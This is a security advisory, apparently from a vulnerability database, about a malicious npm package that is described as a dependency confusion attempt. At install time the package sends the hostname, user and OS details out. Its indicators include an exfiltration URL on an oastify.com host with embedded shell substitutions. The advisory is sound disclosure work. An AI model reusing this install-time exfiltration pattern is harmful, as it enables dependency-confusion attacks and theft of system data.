GCVE-110-OSM-2026-3370

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published April 29, 2026

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution. Key findings: - OAST/Interactsh Exfiltration in package.json: "oastify.com" - Very New NPM Publisher Account IOCs: - domains: vgfcrc6yfyzeq26xqron1xbcs3yumlaa.oastify.com - oastEndpoints: https://vgfcrc6yfyzeq26xqron1xbcs3yumlaa.oastify.com/wf-mwf-poc?host=$(hostname)&user=$(whoami)&os=$(uname

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	mwf-accounts-lib-native-call-language-preference	* (affected)	—

References

Malicious npm package: mwf-accounts-lib-native-call-language-preference

advisory

vendor

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